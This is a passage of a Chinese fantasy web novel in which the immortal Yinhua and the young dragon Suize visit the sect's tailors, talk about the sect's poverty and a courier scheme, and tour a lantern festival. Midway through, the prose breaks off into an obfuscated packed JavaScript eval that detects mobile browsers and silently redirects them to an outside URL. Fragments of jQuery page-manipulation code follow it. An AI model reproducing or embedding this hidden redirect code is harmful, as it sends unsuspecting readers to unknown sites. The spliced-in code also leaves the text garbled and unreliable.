吟画凝眉不语。
岁泽低头看看,下面正好是一座超大的瀑布,水流湍急,轰鸣不断,唯有几只翠鸟飞过——那是来送快递的。
现在快递行业刚建立没多久,大多靠翠鸟背着各界的快递员奔走相送,没有固定通道,也算是危险重重,盈利还不是很好。
他顿了顿,脑海里闪过好几个法子,缩着脖子,大声说:“我们仙门是不是很穷?我有法子的!”
“你有什么法子?”
吟画不以为意,漫不经心回答他,“你要是嫌弃可以滚蛋。”
岁泽很响亮地“哼”了一声。
前面是一大朵湿云,吟画忽然笑问:“要不要去抱一抱?”
岁泽撇嘴:“其实我人形的时候也不是很缺水啦!有点喝的就好了。”
“是吗。”
我当然知道你的习性。
那一大片云朵就在前方,沉甸甸的,泛着蓝灰色,光看着就知道定是托载了不少水。
吟画看着小少年,莫名其妙起了阵坏心,反正只是不能杀,没说不能欺负……况且欺负他本不就是计划中的一环么。
“岁泽,喜不喜欢云?”
岁泽一时摸不透自家仙上的意思,诚实地点了点头。
哪有龙会不喜欢云与水?更何况自己这种深海囚犯连云朵都没见过几次。
“既然喜欢……那便去抱一抱吧。”
岁泽听着这话还没有反应过来具体是什么意思,他敬爱的吟画仙上就已经扼住了他命运的后脖颈,将他向前抛去。
他瞪大眼睛扑进那朵庞大的湿云里,呼吸间全是温和的水汽,浸透肺腑,十分舒适。
如果他没有极速下坠的话。
“啊啊啊啊啊啊啊啊——”
他完全忘了龙可以飞,可以腾云驾雾。
吟画疑惑地看了一会儿,确认他没有任何要飞起来的打算后,御剑在下,稳稳地将人接住。
岁泽死死拽着她的衣襟,脸色发白,狠狠瞪她。
“仙上!我要吓死了!”
吟画面露为难,熟稔地轻拍他的后背,故作歉疚道:“抱歉,本仙以为所有龙都会飞,没想到墨龙不行。今日莽撞了,日后绝不会如此让你受怕。”
岁泽面色一僵,抱紧她的手臂,低声道:“墨龙会飞的,但是我……但是我没学过。”
“还要学?你长这么大没学过?”
“……我一直被家族囚禁在海底,怎么可能会学呀,仙上您教我。”
“本仙归根结底是人,只会御剑,以后瀑布下的红鲤鱼教你。”
“可红鲤鱼他怎么会飞?”
“红鲤鱼是他的化形,可不真的是鱼。他一半赤龙血脉,一半蛇族血脉,说不定,你们还有点关系呢。”
“谁要和他有关系,才不要呢,我可不是蛇。”
吟画:“……”
“你这长虫,倒是颇难伺候。”
吟画刮他鼻子,语气里是藏不住的戏谑。
岁泽又紧张又害怕地看她,细长的手将衣料攥得紧紧的。
吟画轻叹一口气,将少年放到平坦地面上。揉揉他的脸颊,道:“这小脑瓜里装的都是些什么,那就再找旁人好了,你自己看书摸索也是可以的。”
“不要胡思乱想。入了银华殿,那你便有银华殿护着,你若不想离开,只要你不犯什么有害六界的糊涂事,没人能把你赶走,嗯?”
岁泽顿时松了一口气,喜笑颜开起来。
吟画勾起一个笑,牵着他的手,领他走进尚衣大殿。
原本热闹非凡的大殿在他们进入的瞬间变得寂静无比。
吟画:是我太久没来过了吗?不认得我?
其实是不认得他身边的小少年。
吟画刚要开口,众仙齐齐俯身施礼。
“见过吟画仙上,仙上万安,见过少君,少君万安。”
吟画:……原来是把岁泽当成我的子嗣了。
很好,前世虚情假意的道侣爆改今生母子,要是上演短剧的话不知道要爆成什么样。
“诸君不必多礼,”她将岁泽推到主事面前,“此为本仙故人遗孤,称他岁泽公子即可。”
众人恍然:原来不是吟画仙上的儿子!
一时间,大殿又热闹起来,仙子们都围上来,捏捏岁泽的脸,揪揪他的耳朵,顺顺他的头发,干什么的都有。
“岁泽公子,你生得好生俊俏,可有婚配?”
“小公子,你今年多大年纪了呀?”
吟画想起上辈子这人那副冷硬的傲娇样,一时间觉得好笑,站在一旁乐不可支。岁泽眨巴眼,不知道该怎么回答。
主事拿着量尺站在一边,夸道:“这模样,俏生生的,真俊。仙上,怎么你家两个小子一个比一个模样好,这个瞧着也像是神族。”
吟画点点头:“确是神族。”
“神族?”刚刚问话的仙子有些惊异,瞪大眼睛将岁泽从上到下仔仔细细打量了个遍,稀奇道,“我还没见过神族呢,我的天呐我居然见到了活的神族!”
岁泽:……见鬼,我是活的难道很出乎意料吗?怎么一个个都想看我死。
“可是神族看起来和我们人族也没什么不一样呀,都是两只眼睛一个鼻子一张嘴的,难不成你有四只耳朵?你有翅膀吗?”
岁泽:我有没有翅膀你看不见吗……你才有四只耳朵,你全家都有四只耳朵。
吟画看着岁泽扭曲的五官低低笑了一声,岁泽抬眼看她,面颊有点红。
怎么,您也想看我四只耳朵?
主事很快量好尺寸,“仙上,是做普通衣物还是法衣?”说着拉起岁泽的手,探了探他的脉,“唔,主水,次风,木也有一点点。”
吟画将杯盏轻轻放下,缓步走过来,温声说:“做三套法衣,除了必备法咒外,与他相衬的符咒都绣上,要最上乘的布料,做时新样式。”
“但是,”主事一副为难的样子,“仙上,我们做不了那么多啊,现在顶多只能做一件出来。”
吟画:“为何?”
主事擦汗:“仙门太穷啦,什么都缺,别说衣服了,连丹宗弟子炼丹需要的仙草都买不起几株,灵石什么的更别说了,现在大家修为普遍停滞不前,没有灵气,没有钱买资源,这可怎么修炼?所以求您担待,这边是真的做不出那么多衣服。或者您出钱?”
我出钱?我又不做任务我哪来的钱?
“已经到这个地步了吗?”吟画站在一边若有所思,“那就先来一件好了,劳烦各位。”
主事打趣:“看来现在连仙上都拿不出钱来了。”
岁泽一怔,没想到仙门会缺钱缺到这个地步。
那该怎么赚钱呢?
要不直接去送快递,或者按照红鲤说的去演短剧?这个应该很赚钱吧?
短剧多好哇。
“仙上,我真的有一个赚钱的小主意,你听我说,”他拽拽吟画的袖口。
吟画瞥他一眼,“等会儿等会儿。”
众人又闲话半晌,吟画终于扯不下去了,看向岁泽,“走人间瞧瞧?”
岁泽忙不迭道:“好。”
人间今日不知是何庆典,日暮时分,各式各样的彩灯被悬挂在半空中,色彩稠丽,晕染出一片片暖色光影。
“修罗界不是很危险吗,可是为什么还有那么多人族想要去呢?”
岁泽指着不远处进入修罗界的通道,问道。
吟画领着岁泽走在最繁华的人间城池中,闻言,她淡淡瞥过去一眼,很快又收回目光,眉头微蹙,似乎是很不喜。
“可能是总有什么比命重要吧。”
“这世间……有什么能比命还重要?”路过的一个老叟听到他们的话,当即接道。
没什么比命重要?
岁泽历尽千辛万苦才从神界逃出来,为了不被找到,他硬生生剖了丹田,捏碎了龙丹,散尽一身龙息,就是为了活着,活着找到吟画。
有的。
我想叫你活。
吟画也沉默不语。
这世间有千千万比命重要的东西,上一世有太多误解,这是她重生这十日来明白的东西。
她看向岁泽,眸光浅淡,岁泽也望过来,两人静静对视半晌,身边人潮涌动,都看不太懂对方的神色。
不过也无需明了,吟画心里跟明镜似的,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17721202|208660||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
倏然似笑非笑抬指抚平岁泽的眉心,调侃道,“小孩子皱什么眉?眉心拧着可不好看。”
“没、没有,”岁泽被她触碰到,一时间不知道该说什么,心脏跳得有些快,袖口都拢着莲花香。
但这香味不纯,还有点若有若无的……血腥气。
岁泽多看她几眼,吟画却抬头和他错开目光,收回手挑了盏白蛇灯,岁泽的眸色不免又暗了暗。
几话间,人间夜色彻底铺叠落下,千万盏花灯随风曼动,茶楼檐角的六角灯笼轻晃,描金走马的图案被光影拓印在青石板砖上。
于仙人和神族而言,很多时候,一抬首一转眼,就是凡人一生。
所谓午梦千山,窗阴一箭。
岁泽依旧站在光里看过来,隔着一朵莲花灯,与靠在墙边阴影里的吟画对望。
“仙上仙上!您快点过来呀!”
众生都在时光里旅行,从生到死,从无到有,寻的不过是点甜头。也只有这一点甜头了,在此之前在此之后,都是茫茫苦海。
吟画的目光一直追着岁泽,那笑那身影那语气,越来越似曾相识,像他的前生,只是性格活泼了很多,不是那般阴郁,只想着毁天灭地难以接近,须得步步为营。
岁泽在万千灯火里跑跑停停,转身回望时衣角翻飞,眉目灿然,连发梢都沾染着雀跃。
“仙上仙上,我在这里呀!”
看见了,吟画压下心头事,随口答一声:“来了。”
这声音淹没在人潮中。
她提起雪白衣裳,踏上台阶,快走几步,忙里偷闲的手里还提着一盏红鲤灯笼。
“你看!快看!”
吟画顺着岁泽的手望过去,看到的不是月亮,而是一座灯。岁泽站在她左侧后面一点,少年不是纯血神族,抽条长高快,不过两百年就已经长得比她高出一个半头了。
已经成年了。
她看灯,岁泽却只看她,看她浅绯眼尾漾出的惬意。
看得久了有点害羞,岁泽下意识想要垂眸笑,却又不忍移开目光。
于是那炽热的目光就这样暴露在月色里灯光里。
目光太热,吟画不喜欢,甚至有些反感,她迟疑一下,转头看向他。
恰好一阵风起,不听话的玉色发带蒙住了吟画的眼睛。
那双粉色快要淡成水的眼睛。
此瞬,风花雪月,都齐了。
指腹触过皮肤会残留温度,很烫。
不过是反方向的烫。
“你好大的胆子。”
吟画感到一阵心烦意乱,真真的大胆,越宠越没规矩。
岁泽连忙收回手,一阵手忙脚乱,转移话题道:“仙上,快递站和邮通道的图纸我今天下午已经全部精细加工画好了,您说的奖励……”他话音微顿,笑起来,“是不是该兑现了?”
仙门缺少凡人供奉,经费稀少,全靠弟子做任务赚,这任务费里还包括衣食住行,留给修行的几乎不多,而今仙门弟子普遍缺衣少食,修行更是停滞不前,凡人更不会供奉了,连带任务都少很多。
岁泽却想出了个法子。
快递快递,关键就在于一个“快”字。
快递行业才出现不到百年,尚且稚嫩,当初还是几个仙君无聊时发明的东西。他却异想天开直接拿着六界的地图开始画起了线,试图将快递通道规整形成专用道,将仙门改造成一个巨大的快递分拣和运输中心。
这是个不小的工程,两百年来他们二人走遍六界才不过堪堪在图纸上画出来,还没有请求六界之主帮助开通。
岁泽已从少年成长成了今天这幅顶天立地的模样,比吟画高了整整两个头。
他笑着看吟画,眼眸依然澄澈。
吟画仰头望回去,眉眼温和,心里却想道,下一步计划,该正式开始了。
她没有太多耐心跟岁泽耗,眼下已过两百年,仙门才刚刚好转,灵气开始积聚,再过一百年就是仙门结界破碎的时候了,一百年,必须要在这一百年间查清一切。
同时还要卖出生死劫替位计划的第二步——恨。
恨。
怎么恨?
这还得从长计议。